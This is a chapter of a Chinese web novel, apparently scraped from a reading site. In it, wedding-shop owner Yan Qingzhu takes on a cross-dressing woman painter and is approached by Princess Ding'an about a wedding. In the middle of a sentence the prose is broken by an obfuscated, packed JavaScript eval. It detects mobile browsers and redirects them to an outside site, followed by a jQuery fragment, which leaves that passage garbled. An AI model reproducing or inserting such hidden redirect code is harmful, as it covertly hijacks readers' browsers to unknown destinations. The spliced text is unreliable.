芸娘的事情过后,晏青竹又消停了一阵子,就连宏升也很久没来了,晏青竹很是奇怪,但又转念一想,可能是忙着为谢桥的事奔走。
最近,鹊桥仙的业绩又下降了点,晏青竹便想着找一个画师,可以帮着她设计婚服,现场设计什么的,她一个人着实有点力不从心。她想着最好是能找个女画师!
她让海棠张贴了告示,贴在鹊桥仙外,刚贴出去,就来了许多自告奋勇的,前天,便来了个五大三粗,长相粗犷的画师,晏青竹从没见过如此模样的画师,不禁好奇他真的会画画吗。
谁知,那画师一套行云流水下来,画上出现的是一抹飞天游龙,栩栩如生,好似能穿过画纸,直达蓝天那般,那男子的画风却是世间罕见,但对于晏青竹的想法,却是不太想和,她还是委婉的拒绝了,继续等着她的有缘人。
晏青竹也不是对男性画师,有偏见,她只是更认同女性的情感的细腻,她更想找一个女画师。
就这样,又持续了几天,都没有等到晏青竹特别满意的,搞得她都有点后悔没要那个飞天游龙画师。正低着头沮丧之际,一个带着书生气的男子走进了鹊桥仙,那男子长相十分秀气,个子竟也不算高,穿着一身滇白的素衣,身后还跟了一个书童,看着怯生生的。
那书生张口便道自己是为应聘画师而来,晏青竹打量了他一番便请她坐下,看着眼前的男子,晏青竹心里闪过了一个念头,便先说,要出道考题考考他。
若是过关,便可留在鹊桥仙,那人欣然同意并一副志在必得的样子,晏青竹很是欣赏,思考了半盏茶后便道,“公子,平日都擅画些什么。”
那公子思考片刻,答道,“花鸟虫鱼皆可,人物也不再话下。”
晏青竹点头示意,并说出了考题,“那就画朵牡丹便好。”京城会画牡丹的人不计其数,晏青竹却也偏偏挑了这人人都爱画的牡丹,她想知道这书生是否能画出新意。
不久,只见那画纸上出现的牡丹,鲜艳欲滴,尽展颜色,但她的画中没有牡丹的娇弱,反倒是好似有着铮铮的铁骨,它是这世上最美的花,也有着这世界上最坚硬的骨。
晏青竹脸带笑意,看着那公子说道,“公子画功了得,可愿入我鹊桥仙?”
那公子点头答应,晏青竹又问道,“还不知公子叫什么名字。”
只见那公子不卑不亢,字正腔圆的答道,“我家住北城,自北边而来,姓南,单名一个离字,店主叫我南离即可,此次来京城是为考取功名而来,只是家中贫寒,没有那么多的盘缠,只好来做画师,店主尽管放心,我一定不会让店主失望。”
晏青竹听罢,回道,“南离,好名字,既然如此,想必公子也无处可去,不如就暂时住在我这后院里,也好减轻些压力。”
晏青竹话音刚落,便见那个躲在远处的小书童,挤眉弄眼的提醒着南离,而南离权当没看见,说道,“多谢店主,我初入京城,正愁没有地方所去。”
晏青竹便叫海棠带她去了后院的空房,这下,她这个鹊桥仙可热闹的紧了,一下子多了这么多人,晏青竹还是头次与这么多人住在一起。
送他们住下后,海棠一脸凝重的跑过来说道,“店主,你怎么能让两个男子住在我们后院啊,咱这后院都是女子,这委实太不方便了些。”
“傻海棠,还没看出来,哪有身板如此单薄的男子,分明是个小女郎。”
海棠惊讶的张开了嘴,“女的!?不会吧小姐,那为何要扮作公子。”
晏青竹没打算细究,淡淡的说道,“兴许是逃婚的女郎,又可能是自己独自出来闯荡,无论是什么,既然人家没说,咱们也不要过度深究了。”
海棠担忧的说道,“小姐,你还真是心大,什么样的人都不知道,都敢往家里领。”
晏青竹好似早知道海棠的担心,安慰道,“我觉得她应当不是坏人。”
那头,住进鹊桥仙的南离,在屋里收拾着东西,那扮作书童的人着急的在屋里走来走去,一会儿,实在忍不住了,还是说道,“公。。。。公子,咱们这样真的行吗,随便就住到人家院里来,未免太不安全。”
“阿瑶,放宽心,你家公子什么时候骗过你,最危险的地方就是最安全的地方。跑到这儿来,那群人没那么快找到咱们的。”
那个叫阿瑶的人,还是一脸的幽怨,但看着自己的主子跟没事人一样,她也只好既来之则安之。
招到了画师,晏青竹便决定上线她的新计划,为每对到鹊桥仙预订昏礼的夫妇,都赠送一副双人画,并外加包含昏礼过程的插画书一本,留作纪念。
刚刚让海棠宣布出去鹊桥仙的新样式,便多了许多订单,晏青竹叫负责登记的人一记下后,便想着去后院,看望一下新来的画师。
南离的房间门没关,晏青竹还是敲了敲开着门,听到了南离的声音,才进来了。见南离坐在一旁的桌上看书,晏青竹便直截了当的说明了自己的想法
南离想了一会儿后便说道,“这为新婚之人画肖像,好像也只有皇亲贵胄才有这样的规矩。如今,店主将这推行于民间,却为一个好方法,店主竟还不收银钱,当真是个善举,南离但听店主吩咐。”
被这么一番夸赞,晏青竹倒是先不好意思起来了,她可没这么大的宏愿,只是想多挣些银子罢了,但听南离这席话,以及她的行事,晏青竹越发确定她不是普通人家的女子,说不定还真是谁家逃婚的千金。
晏青竹没在多留,后面有她劳累的时候,趁现在生意还不忙,便让她先歇着了,顺带着和她说道,趁着现在不忙,可以到京城的各个地方转转。
回到前院,便有人找上了门来,来人是个穿着干练,腰间还配了宝剑的女子,一开口,便是要见鹊桥仙的东家,晏青竹便走上了前去,于她说着,“夫人,要看些什么呢?”
那妇人只是看了她一眼便说道,“京城之大,到从未听说这么一家操办昏礼的店,今日倒是头次见。”
晏青竹没有说话,而是邀她进来,又让人端了茶给她,那妇人一饮而尽后,说道,“此番前来,主要是为我自己办场婚礼,不知店主能办吗?”
晏青竹看着如此豪爽的女子,眸子闪过一丝惊讶,但更多的是敬,很快晏青竹敛起神色,回复道,“自是能的,不知夫人贵姓,家住何方,请先登记过,也方便日后我上门。”
看着眼前之人,听了自己的话,没有丝毫波澜,依旧公事公办的样子,那妇人竟生出一丝赞赏的目光。
便也不想再兜弯子了,直言道,“你竟然真的不认识我”
晏青竹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189967|165557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又细细打量着眼前之人,心却凉了一半,她的身份难道要泄露了,她即刻便出了一身的冷汗,幸而,那妇人又接着说道,“不过,你不认识我也正常,这京城我好久没回来了。”
不等晏青竹回复,她继续道,“我家就在京城的最西方,那也只有我这么一家,很好找,昏礼的事就这么说定了,有什么问题到府上找我就好,告辞了,小姑娘!”
等那人走后,晏青竹还是一头雾水,虽能看出那妇人不凡,可京城的最西方到底住着谁,她还真是未从听闻。她思考良久,还是叫来海棠,一问才知,那京城最西,竟然是公主府!
那刚才所来之人,莫不是公主。
晏青竹又生了担忧,公主到底认不认识晏竹月呢。晏青竹将刚才之事说与海棠听,海棠本端着茶杯喝着水,一听晏青竹的话,便一口水喷了出去。
“定安公主竟然回来了?!她可是八百年都没回过京城了,小姐,你记得上次咱们参加宫宴都是十多年前了,自那之后,公主就一直镇守边境,从未回过京城。”
听完海棠的话,晏青竹算是放下了心,又打听起公主的个人问题,“海棠,那公主是从未婚娶吗?”
“这就不知道了,那时候咱们还太小,不过有消息传,公主有心爱之人,不过那人死了。公主才心灰意冷,多年镇守边境,从不回京城。”
“不过,小姐,皇家昏礼,从来都由礼部操办,公主怎么会来鹊桥仙,你确定不是你认错人了。”
这么一说,晏青竹心里也犯了嘀咕,难道真是她听错了,她又暗暗催眠,说不定现在西城不只公主府一家,有别人居住也说不定呢。
怀着万分忐忑的心态,第二日一大早,晏青竹便来了京城最西的地方,而现实也没让她失望,这西边还真就只有公主府一家。
晏青竹便硬着头皮敲响了公主府的大门。开门的下人和旁处的下人也十分不同,穿着打扮都像是军中装扮。晏青竹与她说道,“我是鹊桥仙的东家,和公主见过的,麻烦帮我通传一声。”
那人没有离开,只是敞开了门,邀她进来,同时说道,公主已经交代过了,姑娘请吧。”见状,晏青竹才将一同来的女工和女使叫了过来,准备一同进去。
谁知那人手却拦在那里,称,“公主只说姑娘一人,其他人,还是先与公主说过,再做打算。”
晏青竹便让他们先等在门外,自己随她进了门。
公主府乍一看与那旁的府也没什么不同,进去一看方知内里大有乾坤,能在寸土寸金的京城,有如此大的宅院,恐怕也只有皇亲贵胄才能办到了,不禁感叹着公主的财力雄厚,跟随着那人走了好久,才看到公主一身演武衣,在水池旁喂鱼。
而公主身旁竟站着一个她许久未见的人。
晏青竹很是奇怪,他怎么会在这儿,不会公主要嫁的人是他吧?晏青竹有点震惊,自己是不是发现了什么皇家秘闻。
停在原地,不敢向前了,领她过来的女使,见她不再向前,十分不解,晏青竹赶忙说道,“还是禀报公主一声,再过去吧。”
女使见状,便依了她,走上前去,不知说了些什么,便见公主朝这边走来,带着身旁那人一同走了过来。
晏青竹心里也发了紧,自己到底要不要装作不认识他呢。